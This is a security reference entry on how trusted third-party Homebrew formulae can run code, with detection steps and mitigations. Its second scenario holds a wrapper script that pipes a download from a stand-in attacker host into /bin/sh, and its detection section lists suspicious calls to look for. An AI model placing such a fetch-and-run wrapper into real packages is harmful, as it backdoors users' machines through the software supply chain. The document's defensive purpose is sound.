Trusted Third-Party Homebrew Formula Code Execution

brew Code Execution high macOS Linux
Homebrew formulae are Ruby package definitions. Official formula installs normally use signed JSON metadata and reviewed bottles, while non-official taps require explicit trust by default. Loading a trusted third-party formula can execute its Ruby with the user's privileges. Source-build and post-install commands run inside Homebrew's sandbox where supported, which restricts filesystem, network, environment, and credential access. The practical risk is therefore concentrated in formula loading, explicitly trusted third-party code, and any installed program the user later runs. [1][2][3][4][5]

Prerequisites

  • Ability to publish or modify a formula in a non-official tap
  • Victim installs the formula by its fully qualified name, explicitly trusts that formula, or previously trusted the entire tap
  • For a compromise scenario, the affected formula or tap remains trusted when Homebrew later loads the changed Ruby definition
[1][2][3][4][5]

Attack Scenarios

Trusted Formula Executes Ruby When Loaded

An attacker publishes or compromises a formula in a non-official tap. Installing its fully qualified name is an explicit trust decision for that formula. When Homebrew loads the trusted definition, Ruby in the formula body can run with the invoking user's privileges, outside the more limited actions of a normal bottled install.

[1][2][3][4][5]
Illustrative formula with load-time Ruby
class HelpfulCli < Formula
  desc "A handy developer CLI"
  homepage "https://example.com/helpful-cli"
  url "https://example.com/helpful-cli-1.0.0.tar.gz"
  # Illustrative digest; a real formula must match its source archive.
  sha256 "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
  license "MIT"

  # The class body is evaluated when Homebrew loads this trusted formula.
  File.write("/tmp/helpful-cli-formula-loaded", Time.now.to_s)

  def install
    bin.install "helpful-cli"
  end
end
Victim installs from the compromised tap
brew install attacker/devtools/helpful-cli
# The fully qualified install trusts only this formula, then loads it.

Sandboxed Install Method Places a Trojanized Executable

A source-build `install` method can place attacker-controlled files inside the formula's allowed installation paths. Homebrew's sandbox limits unrelated filesystem and credential access where supported, but it cannot make an intentionally malicious executable safe. The payload runs with the user's privileges when the installed command is invoked.

[1][2][3][4][5]
install method placing a wrapper in the formula prefix
def install
  (bin/"helpful-cli").write <<~SH
    #!/bin/sh
    curl -fsSL https://attacker.example.com/stage2 | /bin/sh
    exec "#{libexec}/helpful-cli.real" "$@"
  SH
  chmod 0755, bin/"helpful-cli"
  libexec.install "helpful-cli" => "helpful-cli.real"
end

Detection

Audit formula Ruby before installing from third-party taps

Use `brew cat` to inspect a formula's Ruby source before installing it. Review the class body as well as `install`, `post_install`, and other methods for unexpected network calls, process execution, or file operations.

[1][2][3][4][5]
brew cat attacker/devtools/helpful-cli
# Look for: Net::HTTP, URI.open, system(..), `..`, File.write outside prefix, launchctl, curl|bash

Inspect the tap's git history for unreviewed install-method changes

Third-party taps are git repositories cloned under `$(brew --repository)/Library/Taps`. Diff the local clone against upstream to spot install-time changes inserted between user pulls.

[1][2][3][4][5]
cd "$(brew --repository)/Library/Taps/attacker/homebrew-devtools"
git log --all --oneline -- Formula/helpful-cli.rb
git diff HEAD~5 -- Formula/helpful-cli.rb

Monitor Homebrew for unexpected network and filesystem activity

Use operating-system telemetry to flag unexpected connections or writes by Homebrew. Interpret findings with Homebrew's sandbox and configuration in mind: supported build and post-install steps are restricted where sandboxing is available, while trusted formula Ruby may also run when Homebrew loads the definition.

[1][2][3][4][5]
sudo fs_usage -w -f filesys brew 2>&1 | grep -vE "Cellar|Caskroom|Library/Homebrew|Library/Taps"

Mitigation

  • Prefer formulae from homebrew/core and homebrew/cask, which require public PR review before merge
  • Prefer `brew trust --formula user/repository/formula` over whole-tap trust, and review the formula before granting trust
  • Pin the tap to a reviewed commit when reproducibility matters (`git -C $(brew --repository)/Library/Taps/... checkout `)
  • Run Homebrew as its intended non-root owning user and keep production secrets out of developer environments
  • Use `HOMEBREW_NO_AUTO_UPDATE=1` in CI to prevent pulling unreviewed tap updates mid-build
  • Monitor `~/Library/LaunchAgents` and `/Library/LaunchDaemons` for plists created by brew processes
[1][2][3][4][5]

References